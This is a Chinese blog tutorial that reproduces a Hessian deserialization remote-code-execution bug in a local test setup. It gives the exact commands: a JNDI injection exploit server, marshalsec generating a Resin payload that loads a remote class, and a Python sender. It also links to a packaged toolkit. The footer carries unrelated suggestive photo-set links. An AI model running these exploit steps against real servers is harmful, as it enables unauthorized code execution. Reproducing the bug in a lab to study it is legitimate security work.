文章目录
- 一、搭建测试环境
 - 二、启动JNDI利用工具
 - 三、生成payload
 - 四、发送payload到hessian服务器
 - 五、分析
 
Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。
Hessian反序列化类似Java反序列化,可导致RCE,POC好像2017年就公开了,但是最新版本hessian-4.0.60.jar,经过测试也存在反序列化RCE问题。
使用marshalsec项目工具(https://github.com/mbechler/marshalsec)可生成利用payload,包括SpringCompAdv,Resin, ROME, XBean
 
下面使用Resin payload复现Hessian反序列化RCE漏洞
一、搭建测试环境
测试环境使用最新jar包
 
将HessianTest.war放到tomcat/webapp/目录下并启动tomcat
 
访问服务器地址http://127.0.0.1:8080/HessianTest/hessian,返回如下页面则说明环境正常
 
二、启动JNDI利用工具
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar是某大佬写得JNDI注入利用工具,项目地址https://github.com/welk1n/JNDI-Injection-Exploit
编译后JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 127.0.0.1
-C为需要执行的命令 -A为监听地址
 
三、生成payload
marshalsec工具地址https://github.com/mbechler/marshalsec
编译后的marshalsec-0.0.3-SNAPSHOT-all.jar
执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://127.0.0.1:8180/ ExecTemplateJDK7>hession
 
将在当前目录生成hession的payload
注意:http://127.0.0.1:8180/ExecTemplateJDK7 为 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启动后生成的恶意代码地址
四、发送payload到hessian服务器
使用hessian.py 发送序列化的payload到服务器
执行命令:
python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian
 
可以看到服务器已经去JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar上下载恶意类并执行弹出计算器
 
五、分析
使用hession的web项目需要配置web.xml,映射com.caucho.hessian.server.HessianServlet之相应的路径
 
Java客户端可以很方便的调用服务器上的方法,如下
 
查看com.caucho.hessian.server.HessianServlet的代码
service方法处理客户端发来的http请求,调用
 
 
调用HessianSkeleton的invoke方法,将从客户端发来的数据流中读取对象
 
看代码里面好像没有什么黑白名单过滤机制
通过抓取请求包,分析,构造请求包,将marshalsec工具生成的Resion payload发送给服务器
下面是构造请求包的hessian.py代码
 
利用图
 
 这是发送给Hessain服务器的请求包
 
所有工具打包地址
https://github.com/21superman/Hessian-Deserialize-RCE
*本文作者:21superman,转载请注明来自一一网络博客












![密码保护:[桜井宁宁]COS和泉纱雾超可爱写真福利集-一一网](https://www.proyy.com/skycj/data/images/2020-12-13/4d3cf227a85d7e79f5d6b4efb6bde3e8.jpg)

![密码保护:[桜井宁宁] 爆乳奶牛少女cos写真-一一网](https://www.proyy.com/skycj/data/images/2020-12-13/d40483e126fcf567894e89c65eaca655.jpg)